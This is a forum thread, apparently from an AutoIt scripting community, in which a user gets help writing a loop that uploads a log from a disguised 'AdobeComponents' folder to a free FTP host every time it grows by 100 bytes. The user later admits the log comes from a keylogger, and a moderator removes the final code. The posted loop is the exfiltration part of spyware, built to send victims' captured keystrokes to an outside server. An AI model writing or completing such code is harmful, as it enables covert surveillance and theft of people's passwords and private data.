Sign in to follow this  
Followers 0
anzacfalcon

FTP Log Sending Help

9 posts in this topic

I am working on a program that will send a log (txt file) to my FTP everytime the file size raises by 100 bytes.

This is what the code partially looks like for your guide:

$file = FileGetSize( "C:\Program Files\AdobeComponents\results.txt" )

If $file >100 Then

$server = "ftp5.nofeehost.com" ;ftp host

$username = "*CENSORED*" ;Ftp user

$pass = "*CENSORED*" ;Ftp password

$Open = _FTPOpen('MyFTP Control')

$Conn = _FTPConnect($Open, $server, $username, $pass)

$Ftpp = _FtpPutFile($Conn, 'C:\Program Files\AdobeComponents\results.txt', 'log.txt')

$Ftpc = _FTPClose($Open)

EndIf

As you's can see, at the moment the log is sent once the file reaches over 100 bytes. What i need is the mathematical formula/code that will keep checking the filesize rather than just once and send the log every time the file size raises by 100 bytes. Thanks for listening!

Share this post


Link to post
Share on other sites



$currentmaxsize

While 1
    $file = FileGetSize( "C:\Program Files\AdobeComponents\results.txt" )
    If $file > $currentmaxsize Then
        $server = "ftp5.nofeehost.com" ;ftp host
        $username = "*CENSORED*" ;Ftp user
        $pass = "*CENSORED*" ;Ftp password
        $Open = _FTPOpen('MyFTP Control')
        $Conn = _FTPConnect($Open, $server, $username, $pass)
        $Ftpp = _FtpPutFile($Conn, 'C:\Program Files\AdobeComponents\results.txt', 'log.txt')
        $Ftpc = _FTPClose($Open)
        $currentmaxsize += 100
    EndIf
WEnd


The Wheel of Time turns, and Ages come and pass, leaving memories that become legend. Legend fades to myth, and even myth is long forgotten when the Age that gave it birth comes again.

Share this post


Link to post
Share on other sites

$currentmaxsize

While 1
    $file = FileGetSize( "C:\Program Files\AdobeComponents\results.txt" )
    If $file > $currentmaxsize Then
        $server = "ftp5.nofeehost.com" ;ftp host
        $username = "*CENSORED*" ;Ftp user
        $pass = "*CENSORED*" ;Ftp password
        $Open = _FTPOpen('MyFTP Control')
        $Conn = _FTPConnect($Open, $server, $username, $pass)
        $Ftpp = _FtpPutFile($Conn, 'C:\Program Files\AdobeComponents\results.txt', 'log.txt')
        $Ftpc = _FTPClose($Open)
        $currentmaxsize += 100
    EndIf
WEnd

Thank's so much bro xD

Share this post


Link to post
Share on other sites

Thank's so much bro xD

A few problem's, im already using a while statement for my main code simmiliar to a keylogger and i get a variable used before declare.

Share this post


Link to post
Share on other sites

Might it be because I accidentally put $currentmaxsize as the first line instead of $currentmaxsize = 100 :D


The Wheel of Time turns, and Ages come and pass, leaving memories that become legend. Legend fades to myth, and even myth is long forgotten when the Age that gave it birth comes again.

Share this post


Link to post
Share on other sites

Thats it! xD

Share this post


Link to post
Share on other sites

#7 ·  Posted (edited)

Close but not exact. Who ever can help me finalize my project will be thanked.

<Removed>

Edited by Valik
Code removed.

Share this post


Link to post
Share on other sites

Is it just me, or does that look a lot like a keylogger? Perhaps I should have excluded myself from this topic...


The Wheel of Time turns, and Ages come and pass, leaving memories that become legend. Legend fades to myth, and even myth is long forgotten when the Age that gave it birth comes again.

Share this post


Link to post
Share on other sites

Is it just me, or does that look a lot like a keylogger? Perhaps I should have excluded myself from this topic...

Yes it was a keylogger but i code other thing's aswell now so still thank you for your help Hawking.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0